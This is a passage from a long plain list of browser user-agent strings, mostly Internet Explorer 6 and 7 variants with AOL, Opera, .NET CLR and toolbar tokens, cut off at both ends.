1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; Maxthon; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_CN) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_EN) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_HK) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.21 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; ru) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; SV1; InfoPath.1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 10.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.25 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; it) Opera 10.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; ja) Opera 9.63 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; en) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; SiteKiosk 4.9) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; SiteKiosk 4.9; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4 Mozilla/4.0 (compatible; MSIE 6.0; Windows XP) Mozilla/4.0 (compatible; MSIE 6.0; Windows XP; DigExt) Mozilla/4.0 (compatible; MSIE 6.0; Windows XP; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows XP; SV1; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows; U; Win98; en-US) Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686 ; en) Opera 10.00 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.23 [fi] Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera 7.54 [en] Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.01 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.20 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.21 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.23 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.25 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.51 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.64 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en-GB) Opera 9.64 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; nb) Opera 9.64 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; pl) Opera 9.20 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; ru) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.63 Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5 Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) (Compatible; ; ; Trident/4.0) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt) Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0) Mozilla/4.0 (compatible; MSIE 7.0; ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; ; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; InfoPat Mozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1) (Compatible; ; ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 7.0; Windows NT 5.1; FunWebProducts) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; AOLBuild 4327.111; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; (R1 1.6)) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Seekmo 10.0.275.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.8.0; Hotbar 10.0.368.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.6.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.7.5) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.1.181.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; Trident/4.0; GTB6; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; FunWebProducts; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4327.65535; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727); UnAuth-State Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.27; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1); UnAuth-State Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.27; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506); UnAuth-State Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.27; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0); UnAuth-State Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.36; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5000; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5000; Windows NT 5.1; Trident/4.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5006; Windows NT 5.1; Trident/4.0; DigExt; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5009; Windows NT 5.1; GTB5; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.1; AOLBuild 4334.5010; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.0; Trident/4.0; GTB6.4; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.155; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.174; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.185; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.185; Windows NT 5.1; Trident/4.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.24; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; 